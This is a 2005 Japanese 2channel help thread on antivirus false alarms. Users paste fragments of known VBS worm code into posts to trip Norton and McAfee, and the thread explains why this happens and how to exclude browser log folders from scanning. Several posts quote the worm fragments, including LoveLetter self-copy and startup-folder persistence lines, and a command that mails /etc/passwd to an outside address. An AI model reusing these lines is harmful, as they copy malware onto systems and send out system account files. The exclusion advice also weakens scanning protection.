05/03/01 01:59:38
■既知のvbsウィルスのソース■
・VBS.Internal
出元はｽﾚﾘﾝｸ(download板:197番)だと思われる。
ﾀﾞｳｿ板からいろんな板へ飛び火した模様。
・VBS.LoveLetter.A
ｃ．Ｃｏｐｙ（ｄｉｒｓｙｓｔｅｍ＆”ＬＯＶＥ－ＬＥＴＴＥＲ－ＦＯＲ－ＹＯＵ．ＴＸＴ．ｖｂｓ
（反応しないように全角で書いてあります）出元不明。ニュー速から？
一般論として「htm」「html」拡張子などを安易に検索対象から外すことは奨励されません。これを感染ターゲットにするウィルスが数種確認されています。
URLﾘﾝｸ(www.symantec.com)
Ｑ．ウイルスコードが貼られているのにノートン反応しない。。。
Ａ．ウイルスコードが貼られている２ちゃんねるのスレをテストページとして使用するのは奨励されない。
なぜなら、ここで言われているノートンの反応は単なる掲示板とスキャンエンジンの「仕様の衝突」であり、
これからも同じページを見ればその都度反応するという保証がないから。
仕様というものは、ある時突然変更されたりするもの。
ネットサーフィン中のウイルス対策ソフトの常駐動作確認は、テスト用に作られたEICARテストファイルにアクセスして行うべき。
EICARテストファイル（正常に常駐していればURLにアクセスと同時に反応します）
URLﾘﾝｸ(www.eicar.org)
3:ひよこ名無しさん
05/03/01 01:59:46
／￣|
｜ ｜
｜ ｜ ／￣￣￣￣￣￣
,― ＼ |
| ＿＿_） ｜ ∩∩ ∠ ﾘｭﾝﾊﾟｯﾁ♪
| ＿＿_） ｜ | |_| | ＼＿＿＿＿＿＿
| ＿＿_） ｜＼＿＿＿（・∀・ ）＿＿＿__
ヽ＿＿）＿／ ＼＿＿＿ ＿＿＿__, ）＿＿
〃 . / / / / 〃⌒i
| / ./ / / .i::::::::::i
＿＿＿＿| /⌒＼./ / / | ＿__＿|;;;;;;;;;;;i
[__]＿＿＿| / /-、 .＼_. / Uし'［＿］ .|
| || | / /i i / | || |
| ||＿__＿|＿___/ / .| .|＼＿ノ＿＿＿＿＿＿..| || |
|（＿＿＿_＿ノ /＿| |＿＿＿＿＿＿＿＿＿..| || |
| LLLLLL.／ __）L_| |LLLLLLLLLLLLLLLLL. | ||＿＿＿__」
| || (＿／ / i .| || | ||
|_|| ／ .ノ |_|| |_||
(＿／
4:ひよこ名無しさん
05/03/01 02:00:21
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
< => <
> => >
& => &
" => "
それぞれしっかり置換されていれば反応しない、ここの掲示板の問題。
ノートンが反応するのは、ここの掲示板（2Ch）の仕様なので気にする必要なし。
ここは、時に他のウィルス対策ソフトが反応する場合もある。
反応したらソースを見てみるといい。他の掲示板と違うことに気付くはずだ。
断言できることは、他のWebページでノートンが反応した場合は要注意ということ。
尚、ここはウイルス鑑定スレではありません。
危ないと思ったURLはラウンジ板等の”勇気が無くて見られない画像解説スレ”で診てもらいましょう。
URLﾘﾝｸ(find.2ch.net)
■関連
ノートン入れたら２ｃｈに書きこめない人へ
URLﾘﾝｸ(ansitu.s53.xrea.com)
ノートンインターネットセキュリティ＠２ちゃんねる検索
URLﾘﾝｸ(find.2ch.net)
【ノートン入れたら２ｃｈに書きこめない】人へ＠２ちゃんねる検索
URLﾘﾝｸ(find.2ch.net)
5:ひよこ名無しさん
05/03/01 02:05:28
補足ありましたらお願いします。
6:ひよこ名無しさん
05/03/01 02:06:29
ニャンです
7:ひよこ名無しさん
05/03/01 18:00:01
Ｑ．２ちゃんねるの板開いただけで反応します。
Ａ．スレッドタイトルにウイルスコードが貼られていることがあり、それに反応しています。
２ちゃんねるブラウザの場合、ログ保存フォルダの他にスレタイ・既読スレ履歴等を保存しているファイルやフォルダを除外。
各２ちゃんねるブラウザによってスレタイ・既読スレ履歴等を保存しているファイルやフォルダが異なるようなので
特定のドライブ、フォルダ、ファイルをウイルススキャンの対象から除外する方法
URLﾘﾝｸ(service1.symantec.com)
↑を参考にお使いの２ちゃんねるブラウザのスレでお聞きください。
NAV2003以降はNorton Anti Virusのオプションで手動スキャンとAuto-Protectでそれぞれ除外の指定をして下さい。
URLﾘﾝｸ(info.2ch.net)
8:ひよこ名無しさん
05/03/02 00:36:43
その他リンク＠２ちゃんねる検索
エロサイト見たら…助けて下さい！
URLﾘﾝｸ(find.2ch.net)
パソコン初心者総合質問スレッド
URLﾘﾝｸ(find.2ch.net)
セキュリティ初心者質問スレッド
URLﾘﾝｸ(find.2ch.net)
9:ひよこ名無しさん
05/03/03 00:26:00
◆◇◆ 報告用テンプレ ◆◇◆ （暫定）
■>>1-9を読みましたか？ 『YES/NO』
■２ちゃんねるの板･スレ･レス番のアドレス 『 』
■ノートンのメッセージ（ウイルス名） 『 』
■ブラウザの種類 『 』
■ノートンのヴァージョン 『 』
■ノートン以外のアンチウイルスソフト名 『 』
■その他. 『 』
10:ひよこ名無しさん
05/03/03 01:13:35
２ちゃんねるに貼られたウイルスコードに誤反応していたことがわかったら
インターネットエクスプローラの場合
ツール→インターネットオプション→インターネット一時ファイル、ファイルの削除
これをしないでウイルススキャンしたらインターネット一時ファイル（Temporary Internet Filesフォルダ）でウイルス反応がでます。
また、該当レスを再び読み込むとウイルス反応がでます。
２ちゃんねるブラウザを使って以下の設定をして２ちゃんねるを見ましょう。
２ちゃんねるブラウザの場合
2ちゃんねる専用ブラウザでノートンを使うと今まで取得したログが抹消されてしまい、スレを再表示した時全てが新しいレスになってしまいます、どうすれば解決できるでしょうか？
URLﾘﾝｸ(info.2ch.net)
2chブラウザのログ保存フォルダを「除外」に設定。
NAV2003以降はNorton Anti Virusのオプションで手動スキャンとAuto-Protectでそれぞれ除外の指定をして下さい。
11:ひよこ名無しさん
05/03/03 02:43:55 7F9C8/Th
よろ
kak.hta';ken=wdt'START
ms-its:mhtml:file://c:\
12:ひよこ名無しさん
05/03/03 18:20:43
>>11
既出。
Wscript.KaｋWorm
ｽﾚﾘﾝｸ(pcqa板:946番)
Bloodhound.Exploit.6
ｽﾚﾘﾝｸ(pcqa板:932番)
13:ひよこ名無しさん
05/03/04 01:48:43 hGA62fOr
URLﾘﾝｸ(c-au.2ch.net)
このウイルスを解説してください
14:ひよこ名無しさん
05/03/04 22:18:30
DAT落ち阻止て神戸♪
>>13
VBS.LoveLetter.Var
ｽﾚﾘﾝｸ(pcqa板:928番)
ウイルスコードが貼られているのにノートン反応しないって人は>>2見てね。
15:ひよこ名無しさん
05/03/05 00:21:55 hfT/sPqY
ありがとう
しかしラブレター１個だけではないはず。
カーネルやネットワークも入っている。
一つ一つ解説してください。
16:ひよこ名無しさん
05/03/05 19:06:57 5lPM1YuQ
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
↑こういうのって最初に気づいた奴って天才だよな
17:cen ◆Pm9xOTJuM.
05/03/05 20:09:53 BE:10314454-#
あ。そうそう。
>>16 みたいなスクリプトを誤反応しないような、datファイルに
datを作り変えるプログラム作ってみました。
よかったら使ってみてください。
URLﾘﾝｸ(www.geocities.jp)
18:ひよこ名無しさん
05/03/05 22:58:07
あやすい・・・・・
19:cen ◆Pm9xOTJuM.
05/03/06 02:36:23 BE:28879878-#
>>18
自分のパソコンで何度も実行してますが、大丈夫ですよー。
さっき総質で見た、未対応のスクリプトに対応させました。
20:名無しさん＠お腹いぱーい。
05/03/06 22:24:25 BE:2830436-##
>>17,19
ご支援ありがとうございます。
URLﾘﾝｸ(ansitu.xrea.jp)
21:ひよこ名無しさん
05/03/06 22:26:34 NzpAHwS7
ここの１の解説キボン
URLﾘﾝｸ(c-au.2ch.net)
22:ひよこ名無しさん
05/03/06 22:32:03
==================================
=================／∧ =========／∧
===============／ / λ=======／ / λ ー
=============／ / λ====／ / λ ー ／
===========／ / /λ =／ / /λ ／
=========／ / / //λ / / //λ ＿＿
=======／ ￣￣￣ ＼ ＿＿＿
=====./ /￣ ） （￣ヽ λ ／
====/ /●／ ＼● /λ ／
===/ /／ ＼ /λ
===| / /| ___|____
==｜ ∧＿＿＿＿＿＿＿＿ / //| ／
==｜ ヽ────〆 ///// ／|＼
===| / / ////| |
===＼ / / /////
=====＼_ / //////__／. ｜
========＼ ミ／ ｜
==========＼ ／ ─┐
============＼ ＼ . ─┤
==============＼ ＼ . ─┘
================＼ ＼
==================＼ ・ ＼
=====================
======================
23:ひよこ名無しさん
05/03/09 04:14:09
hoshu
24:ひよこ名無しさん
05/03/09 22:29:16
未だにVIPの板更新すると、ノートン先生の逆鱗に触れてしまうオイラですが
2chのスレにvbsウィルスのソースを書き込むことによってブラウザがそのスレのhtmlファイルをダウンロードする際に
ウィルスのパターンと一致するので、ウィルスが検出されたとノートン先生などが騒ぎます。（設定によっては反応しないこともありますが、全く問題ありません）
らしいです、騒いでごめんなさい。
2chにかぎっては心配(ﾟ⊿ﾟ)ｲﾗﾈみたいです。
25:24
05/03/09 22:30:49
誤爆すいません
26:ひよこ名無しさん
05/03/10 12:00:18
>>24
スレタイにウィルスコードが書いてある模様。
27:ひよこ名無しさん
05/03/11 19:52:34
>>24
漏れもソレダ！！！
もう無視しまくりんぐｗｗｗｗｗｗｗ
28:ひよこ名無しさん
05/03/11 19:54:19 2tTtEvgw
ノートンなんか使ってんなよ ハゲ
29:ひよこ名無しさん
05/03/11 20:20:02
A Boneを使用してるのですが、ＰＣ初心者の上の「初心者の質問」板をクリックするだけで、ノートンがウイルスを検知してしまいます。
しかも板を開く事もできません。毎回そうなってしまいます。
昨日、システムをスキャンしたら確かに感染していました。「初心者の質問」板だけ毎回そうなります。
これは何でしょうか？
30:ひよこ名無しさん
05/03/11 21:00:24
ぐはははははｗｗｗVIPもそうだよ
31:名無しさん＠お腹いぱーい。
05/03/11 22:14:43 BE:8803878-##
>>29
>>7見てね。
32:ひよこ名無しさん
05/03/12 00:37:07 eI8qHG/W
2ちゃんを普通に見ていただけなのにノートンから「ウィルス名は
Unix.Penguinで、ファイルを修復できません」と表示されてしまいました。何か対策は無いでしょうか？
ちなみに誤作動との見分け方はありますか？
33:ひよこ名無しさん
05/03/12 04:45:56
／￣|
｜ ｜
｜ ｜ ／￣￣￣￣￣￣
,― ＼ |
| ＿＿_） ｜ ∩∩ ∠ ﾘｭﾝﾊﾟｯﾁ♪
| ＿＿_） ｜ | |_| | ＼＿＿＿＿＿＿
| ＿＿_） ｜＼＿＿＿（・∀・ ）＿＿＿__
ヽ＿＿）＿／ ＼＿＿＿ ＿＿＿__, ）＿＿
〃 . / / / / 〃⌒i
| / ./ / / .i::::::::::i
＿＿＿＿| /⌒＼./ / / | ＿__＿|;;;;;;;;;;;i
[__]＿＿＿| / /-、 .＼_. / Uし'［＿］ .|
| || | / /i i / | || |
| ||＿__＿|＿___/ / .| .|＼＿ノ＿＿＿＿＿＿..| || |
|（＿＿＿_＿ノ /＿| |＿＿＿＿＿＿＿＿＿..| || |
| LLLLLL.／ __）L_| |LLLLLLLLLLLLLLLL. | ||＿＿＿__」
| || (＿／ / i .| || | ||
|_|| ／ .ノ |_|| |_||
(＿／
34:ひよこ名無しさん
05/03/12 21:15:24 KI7PmLwk
Open Janeをでスレを見てたらウィルスコードが張られてて
ウィルス警告が出てファイルが修復出来ませんとでました。
ウィルスコードをNGワードに入れたら、NGワードが全部消えて
デスクトップにあるNGWordtxtというアイコンを削除しようとすると
やはりウィルス警告が出て削除できません。
スキャンをするとあるファイルの所まで来ると電源が切れてしまいます。
ウィルス名は「Bloodhound.Exploit6」と出るのですが、どうしたらいいでしょうか･･･。
35:ひよこ名無しさん
05/03/12 21:50:19
>>34
∩∩
| |_| | ／￣￣￣￣￣￣￣
／￣＼ ・∀・） ＜ ﾘｭﾝﾊﾟｯﾁ♪
.r ┤ ト､ ＼ ＼＿＿＿＿＿＿＿
|. ＼＿／ ヽ ｜
| ＿_（￣ | | |
| ＿_）＿ノ￣￣￣￣＼
ヽ＿＿＿） ノ ＼
||＼||￣￣￣￣￣￣￣||￣
|| ||￣￣￣￣￣￣￣||
.|| ||
36:34
05/03/12 23:34:38
すみません。
１つは解決しましたがスキャンすると電源が落ちるのは直りませんので
これは他のスレで聞いてみます
37:ひよこ名無しさん
05/03/17 15:26:43
なんだ、最近多いと思ってたがウィルスコードのせいだったのか。
しかしこれってあぼーんされないのかな。
とりあえずここみて安心した。ありがと。
38:ひよこ名無しさん
05/03/26 15:19:56 Yoan0Q7l
Norton Anti Virusと使ってます。
ウイルス、Unix PenguinをNGワードに登録するには
どんな単語をNGワードにすればいいんですか？
Unix Penguinと反応するスレ内見てもそれらしい書き込みがないので分かりません。
39:ひよこ名無しさん
05/03/26 16:10:26
>>38
NGワードに登録するんではなく
Norton Anti VirusのオプションのAuto-Protectと手動スキャンでログフォルダを除外に指定しる
40:ひよこ名無しさん
05/03/26 16:12:46 Yoan0Q7l
>>39
いや、それはやってるんですけど、反応するんです。
多分、キャッシュフォルダの方も除外指定にしないとだめっぽいです。
でも、それはセキュリティー的によくないってどっかに書いてあったんで、
NGワードに登録したいんですけど、できないんでしょうか？
41:ひよこ名無しさん
05/03/26 16:16:33
>>40
2ちゃんねるブラウザのログフォルダを除外にしても2ちゃんねるブラウザで閲覧中に反応するの？
42:ひよこ名無しさん
05/03/26 16:26:59 Yoan0Q7l
>>41
そうです。Norton Anti VirusとLive2chの組み合わせでAnti Virusの設定で
Live2chのログフォルダは除外に設定してます。
でも、Live2chで見てるとUnix Penguinだけ反応します。
43:ひよこ名無しさん
05/03/26 16:29:39
>>42
設定パス間違えてない？
44:ひよこ名無しさん
05/03/26 16:32:08
これはどうだ？
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\ cat /etc/passwd | mail nobody kak.hta';ken=wd+'START
45:ひよこ名無しさん
05/03/26 16:33:47
と思ったら、VBS.Network.Eとかいうのも反応しっちゃってるよｗｗｗ
どういうこと？
46:ひよこ名無しさん
05/03/26 16:35:49
それでええんや。
47:ひよこ名無しさん
05/03/26 16:37:15
ｽﾚﾘﾝｸ(pcqa板:43番)
48:ひよこ名無しさん
05/03/26 16:37:34
>>45
､-'''"´￣￣｀"''''-､
／ ／ ;;;;;;;;;;;;; ＼ ＼⌒⌒
/ ..::;;● ;;;;;;;;;;;;;, ●;;;;;;;;;::ヽ ^^
|. .::;;;;;;;;;;;（__人__）;;;;;;;;;;;;;;;;::.|
￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣
:::::;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::
:::::::;;;;;;;;;;;;;;;;;;;;;;;;;
::::::::::::::::∧＿∧ そうやってなんでも
::::::::: ( ::;;;;;;;;:) VIPのせいにしてりゃいいさ…
_.. /⌒:::;;;;;ヽ
-― ―'ー'-''―-''/ / ::;;;;;;;;:| |―'''ー'-''―'｀'
,, '''' . ''''' と./ゝ_;_;_ノヽつ ､､, ''" それがVIPクオリティ…
,,, '' ,,, ::;;;;;;;;;::: ,, ''''' ,,,, URLﾘﾝｸ(ex7.2ch.net)
49:ひよこ名無しさん
05/03/26 16:38:45 Yoan0Q7l
>>43
いや、間違えてないと思います。
なんか他のウイルスにも反応してる。。。Network.E。
50:ひよこ名無しさん
05/03/26 16:40:10
>>49
いやいや、間違えてるんだろ？
51:ひよこ名無しさん
05/03/26 16:43:50 Yoan0Q7l
>>50
いや、C\ProgramFiles\Live2ch\logになってるからあってると思います。
52:ひよこ名無しさん
05/03/26 16:48:03
i|!| |i┏┓! i!┏┳┓| |||i|!i| ||!i|| |||ii| ||| ||| |i||!|i│i!┏┓i!|
|i|┏┛┗━╋┻┛|i!||!|ii|| i|!i||i|┏━┓ ┏┓i|i| i┃┃i!|
i||┗┓┏┓┃||i┏━━┓┗━┛ ┃┃|i||!i┃┃i!|
|i |!|i┃┃┃┃i||┗━━┛|i|| || ||||!┃┃i|i| i┗┛!i|
i||i ||┃┃┃┃|! |||i ||i !|||!|┏━┛┃|i||!i┏┓i|!
|i!i |!┗┛┗┛i|!i| / | / | ┗━━┛i|i| i┗┛i!|
i| |||i|!i| ||!|i||i! /,_ ┴─/ ヽ |!i| ||| |i||!|i|i|||| ||i
|i|| ||i!i|| （_゜.,》.'(_゜,》)ﾐ ヽ ! | |!i||!|ii||!|ii|
i|ii / ,,_＿,ニ、、 ﾉ( | i|i!|i|
|i | Y~~/~y} ｀, ~ | そ、そんなー… |i
!. | ,k.,.,!,.,.,r| ,! く .!
i ／ <ニニニ'ノ ＼ ｌ
53:ひよこ名無しさん
05/03/26 16:54:31
>>51
除外に設定する時にサブフォルダも含めるにチェック入れた？
54:ひよこ名無しさん
05/03/26 17:05:16
ﾁﾝ ☆ ﾁﾝ ☆
ﾁﾝ ﾏﾁｸﾀﾋﾞﾚﾀ～ ﾁﾝ ♪
♪
♪ ☆ﾁﾝ .☆ ｼﾞｬｰﾝ！ ﾏﾁｸﾀﾋﾞﾚﾀ～!
☆ ﾁﾝ 〃 ∧＿∧ ヽ ／￣￣￣￣￣￣￣￣￣￣
ヽ ＿＿_＼（・∀・ #） ／＼＿／ ＜ うっかりさん51の報告まだ～？
ﾁﾝ ＼＿／⊂ つ ∥ ＼＿＿＿＿＿＿＿＿＿＿
／￣￣￣￣￣￣￣／| ∥ ﾏﾁｸﾀﾋﾞﾚﾀ～!
| ￣ ￣￣￣￣￣￣:| :| ／|＼
| |／
55:ひよこ名無しさん
05/03/26 17:07:33
もう戻ってきません。
56:ひよこ名無しさん
05/03/26 17:21:58 Yoan0Q7l
>>53
チェック入ってます。
57:ひよこ名無しさん
05/03/26 17:27:12
i|!| |i┏┓! i!┏┳┓| |||i|!i| ||!i|| |||ii| ||| ||| |i||!|i│i!┏┓i!|
|i|┏┛┗━╋┻┛|i!||!|ii|| i|!i||i|┏━┓ ┏┓i|i| i┃┃i!|
i||┗┓┏┓┃||i┏━━┓┗━┛ ┃┃|i||!i┃┃i!|
|i |!|i┃┃┃┃i||┗━━┛|i|| || ||||!┃┃i|i| i┗┛!i|
i||i ||┃┃┃┃|! |||i ||i !|||!|┏━┛┃|i||!i┏┓i|!
|i!i |!┗┛┗┛i|!i| / | / | ┗━━┛i|i| i┗┛i!|
i| |||i|!i| ||!|i||i! /,_ ┴─/ ヽ |!i| ||| |i||!|i|i|||| ||i
|i|| ||i!i|| （_゜.,》.'(_゜,》)ﾐ ヽ ! | |!i||!|ii||!|ii|
i|ii / ,,_＿,ニ、、 ﾉ( | i|i!|i|
|i | Y~~/~y} ｀, ~ | そ、そんなー… |i
!. | ,k.,.,!,.,.,r| ,! く .!
i ／ <ニニニ'ノ ＼ ｌ
58:ひよこ名無しさん
05/03/26 17:32:20
>>56 もうシマンテックに聞きなさい
59:ひよこ名無しさん
05/03/26 19:17:05 Yoan0Q7l
>>58
了解ｗ
ありがとうございました
60:ひよこ名無しさん
05/04/08 23:17:51 tNlrsDBu
画像板から誘導されてきました。
「2chブラウザのログ保存フォルダを「除外」に設定」
というのはどうやってやるんでしょうか？
壺を使ってます。
初心者すぎてすいません。どなたかよろしくお願いいたします。
61:ひよこ名無しさん
05/04/08 23:23:05
>>60
テンプレに書いてあるだろ
62:ひよこ名無しさん
05/04/09 00:06:17 Zkyvn8EZ
Norton Anti VirusのAuto-Protectと手動スキャンで壺フォルダを除外に指定しても、壺で閲覧中に反応します。
よくわかりません・・・orz
63:ひよこ名無しさん
05/04/09 00:07:00 tNlrsDBu
↑
６０です
64:ひよこ名無しさん
05/04/09 19:08:32 zr8Dnfd3
,:::-､ __
,,r::::::::::::〈:::::::::） ｨ::::::ヽ
〃::::::::::::;r‐''´:::::::::::::::::::::ヽ::ノ
,'::;'::::::::::::::/::::::::::::::::::::::::::::::::::::
l::::::::::::::::::ｌ::::::::::●::::::::::::::●:::::ｊi
|::::::::::::::::::、::::::::::::::( _●_)::::::,j:l クマー！
}::::::::::::::::::::ゝ、::::::::::|∪|_ノ::;!
. {::::::::::::::::::::::::::::`='=::ヽノ:::::/
';::::::::::::ﾄ､::::::::::::::i＾i::::::::::::/
｀ｰ--' ヽ:::::::::::ｌ l;;;;::::ノ
【ラッキーレス】
このレスを見た人はコピペでもいいので
10分以内に3つのスレへ貼り付けてください。
そうすれば１４日後好きな人から告白されるわ宝くじは当たるわ
出世しまくるわ体の悪い所全部治るわでえらい事です
65:ひよこ名無しさん
05/04/12 18:29:30
今まで書き込めなかったのはノートン先生の仕業だったのか
このスレのおかげで助かりました
66:ひよこ名無しさん
05/04/12 22:20:35 kw9rPCF2
マカフィーで反応
67:66
05/04/12 23:08:34 kw9rPCF2
駆除も削除も出来ないんだけどほっといていいのですか？
68:ひよこ名無しさん
05/04/18 19:11:29 PlotUVoz
>>66
自分もそうなるよ。
69:ひよこ名無しさん
05/04/18 22:19:38
すいません、ノートンAV2005なんですが、Janeのログを除外に設定したいんですが
AV2005のオプションを開いても「除外」っていう項目が無いのですけど
どうすれば設定できるのですか？
ご指導、お願い致します。
70:ひよこ名無しさん
05/04/19 00:47:01 9XxAkRTd
sagase
71:ひよこ名無しさん
05/04/22 15:13:49 ZNT0DAb6 BE:64317479-
大空寺あゆ親衛隊対策
（1）タスクトレイに入っているNorton AntiVirusのアイコンを右クリック
（2）「Norton AntiVirusの設定」をクリック
（3）左側にある「Auto-Protect」をクリック
（4）その下に出てきた「除外」をクリック
（5）「除外する項目」の「新規」をクリック
（6）「C:\Program Files\Live2ch\log」（Live2chの場合）と入力し、「サブフォルダも含める」にチェックを入れ、「OK」をクリック
（7）左側にある「Auto-Protect」をクリック
（8）（4）～（6）をもう一度繰り返す
（9）設定画面が消えるまで「OK」をクリックする
72:ひよこ名無しさん
05/04/22 19:25:55
∧ l'vﾍ
ﾊ ┌( ;/ ﾄ, ,、 rﾍ r'^ﾅrジ-z
__}ヽ,__ (ヽ/ス_r^フしz,り い)ｎ／ｲr～^′
'っヾ､r'__ |ﾚ'ノ_C'入彳勺ｿメろ_ｊ／し-,_
｀フ ヾ勹_| <_r' !|刀_｣r''>||／⌒(_rﾍ-‐'
＜_ゝし||ﾌぅ（ひzメ__ゝ'l !'そ
~zヾ|て ､l レ^ //'| |'~
| | ヽl｜ // }｜
| :! ｜| | | ,/ ,' すいません、ちょっと通りますよ
| :{. |｜ | |/ /
l !｜| | | /
ヽ ヽ.|/ //
_,r)_ j (_,( ciz
,ﾉこ_- __,ｰヽ ん|Zゥ ﾚz ｚjそ_
} ... 丿 ろ､,_!|乙7ﾑLそ/し-z
ﾉ""'' 一（ ｀う.l !シ/ア了//_⊂,
／､__ ヽ ^'| |~//,/_ソ ハr^
/ ...... ーl | |// /／ノ
/~"' ､＿_／ ,,,...} |/ /／／
{' _ `y′ 一 / r'～(_ノ
人 =/‐- ﾊ 丿" ''(
ヽ '' / __,, / / ‐- '''）
'∨ X. }''' ....ノ
j ー／ /== ノ'ヽ
/=‐ r'´-ヽ } ｰ/'''' {
,' _,, 人 ''"｀、 ﾉ.. '' ノ`ヽ ''"ヽ
{ー / ＼ -'} / ／ ＼'''}`
ﾊ 〈 ）八 （ ｆ )ﾊ
ヽ ） （( ）ﾉ ／
ﾉ／ '） _／
73:ひよこ名無しさん
05/04/24 20:15:37 P3pvijoD
ちゃんと2ch.netとAuto-Protectと手動スキャンで除外設定しましたが
VBS.Internalがしつこく警告ストロムしてきます
他に必要な手順はありますか？
74:ひよこ名無しさん
05/04/24 20:59:20 KLwGdhW7
>>72
ひわいな大根買い占める！ ﾊｲ!
(( (｀Д´) (｀Д´) ))
(/ /) (| |)
<￣< <￣<
ﾊｲ! ﾊｲ! ﾊｲ
(. ｀Д)_(Д´ )
ﾉ ﾉヽ | |>
ﾉ > < ヽ
ﾊｲ!
(. )_(｀Д´)ノ
ﾉ ﾉヽ |ﾍ |
ﾉ > <
ﾊｲ! ﾜｧｵ！
(゜∀゜)_(゜∀゜)ノ
ﾉ ﾉヽ |ﾍ |
ﾉﾉ <
あるある探検隊！
＿(Д´ ) ＿(Д´ )
ﾍ| |＼ ﾍ| |＼
< <
あるある探検隊！
( ｀Д)＿ ( ｀Д)＿
／| |ﾍ ／| |ﾍ
> >
75:ひよこ名無しさん
05/04/25 01:12:19
ウイルス対策ソフトの検出力調査結果
URLﾘﾝｸ(www.geocities.jp)
76:ひよこ名無しさん
05/04/27 04:32:31
ｽﾚﾘﾝｸ(anime板)の
>>17の奴のウイルスってどうやって除外するんですか？本気でむかつきます
77:ひよこ名無しさん
05/04/29 17:10:59 EryoL680
>>71
初心者はテンプレ読んでも何を言っているのかが分からなかったりするので
こういう細かい解説、感謝します。
っていうか大空寺死んで欲しい。(´･ω･`)
78:ひよこ名無しさん
05/04/29 18:11:53 xmX9upML
>>77
透明あぼーんで存在を消し去りましょう。スッキリするよ
79:ひよこ名無しさん
05/04/29 18:38:53 EryoL680
>>78
透明あぼーんではノートンの反応はおさまらなかったんです。
なにやらメール欄に変なものを書き込んでいるようで。
80:cen ◆Pm9xOTJuM.
05/04/29 18:42:27 BE:64394126-###
>>79
>>17のを使うと、メール欄のものでも消し去ります。
81:ひよこ名無しさん
05/04/29 18:44:17
>>79
>>71の手順でノートンの誤反応を解消し、専ブラの透明あぼーんで
糞コテやウイルス厨を見えなくするって意味。
分かりにくくてｽﾏｿ
82:ひよこ名無しさん
05/04/29 19:58:14 EryoL680
>>80
>>81
いろいろとありがとうございました。
あいつら（大空寺とかネオとか）どうにかならないもんですかね…
83:ひよこ名無しさん
05/05/01 13:50:58 beE/OXQq
XPにはNorton AntiVirusインストールできたのに、９８にはできない。
９８のウイルススキャン（無償）で感染ファイル３５ってでたけど
これをどうすればいいの？
84:ひよこ名無しさん
05/05/05 01:29:28
Live2chでUnixPenguinがうざい場合
（1）タスクトレイに入っているNorton AntiVirusのアイコンを右クリック
（2）「Norton AntiVirusの設定」をクリック
（3）左側にある「Auto-Protect」をクリック
（4）その下に出てきた「除外」をクリック
（5）「除外する項目」の「新規」をクリック
（6）「C:\Program Files\Live2ch\log」と入力し、「サブフォルダも含める」にチェックを入れ、「OK」をクリック
（6）「C:\Program Files\Live2ch\temp.htm」も追加する。
（7）左側にある「Auto-Protect」をクリック
（8）（4）～（6）をもう一度繰り返す
（9）設定画面が消えるまで「OK」をクリックする
85:cen ◆Pm9xOTJuM.
05/05/05 01:48:13 BE:128787146-##
あ、そうそう。
>>17のプログラムを更新しましたです。
86:ひよこ名無しさん
05/05/06 13:08:01
その他→脅威カテゴリでも「除外」が出てくるけどここは設定しなくていいの？
って、脅威カテゴリで何をしてくれるのかのかよくわからない。（NIS2005）
>>71 >>84
＞（7）左側にある「Auto-Protect」をクリック
（7）左側にある「手動スキャン」をクリック ・・・じゃないのかな。
87:ひよこ名無しさん
05/05/06 13:10:11
大体、「除外」する項目をAuto-Protectと手動スキャンで
分けている理由がわからない。NIS2002の設定は簡単だった。
88:ひよこ名無しさん
05/05/08 22:01:59
URLﾘﾝｸ(info.2ch.net)
89:ひよこ名無しさん
05/05/11 23:56:43 TkQmWlam
cat /etc/passwd | mail nobody
これが反応するのか？
90:ひよこ名無しさん
05/05/12 00:23:51
>>89
見事にUnixPenguinと判定してくれた
91:ひよこ名無しさん
05/05/13 19:15:33
f
92:ひよこ名無しさん
05/05/18 02:51:07 iHDhJttO
>>84
Live2chでUnixPenguinがうざい場合
IEでうざい場合はどうすればよろしいのでしょうか？？？？？
93:ひよこ名無しさん
05/05/18 02:53:32
>>92
IEで2ちゃん見るなよ。
94:ひよこ名無しさん
05/05/18 03:04:55 iHDhJttO
>>93
え？？？
ダメなんですか？？？
すみません・・・
初心者なもので・・・
詳しく教えていただけませんか・・・
95:ひよこ名無しさん
05/05/18 03:09:44
>>94
ダメじゃないけど、専用ブラウザのほうがずっと便利。
どこまで読んだかわかるし、ログはずっと残せるし、
新着分だけダウンロードするから速いし、軽いし。
96:ひよこ名無しさん
05/05/18 03:13:22 iHDhJttO
>>95
ありがとうございます。
勉強になりました。
今日はウイルスが出てかなりテンパりました（苦笑）
また明日からがんばります！
でしつこいんですが、
IEでうざい場合はどうすればよろしいのでしょうか？
97:ひよこ名無しさん
05/05/18 03:17:42
>>96
IEの一時フォルダを除外すれば警告は出なくなるが、
ほかのサイトで感染してしまう。
98:ひよこ名無しさん
05/05/22 02:22:35 GqakRWGu
勇気が無くて見られない画像解説スレ Part702
ｽﾚﾘﾝｸ(entrance板)
すいません、↑のスレッドをLive2chで開いただけで
発生源：C:\Documents and Settings\kousuke\Local Settings
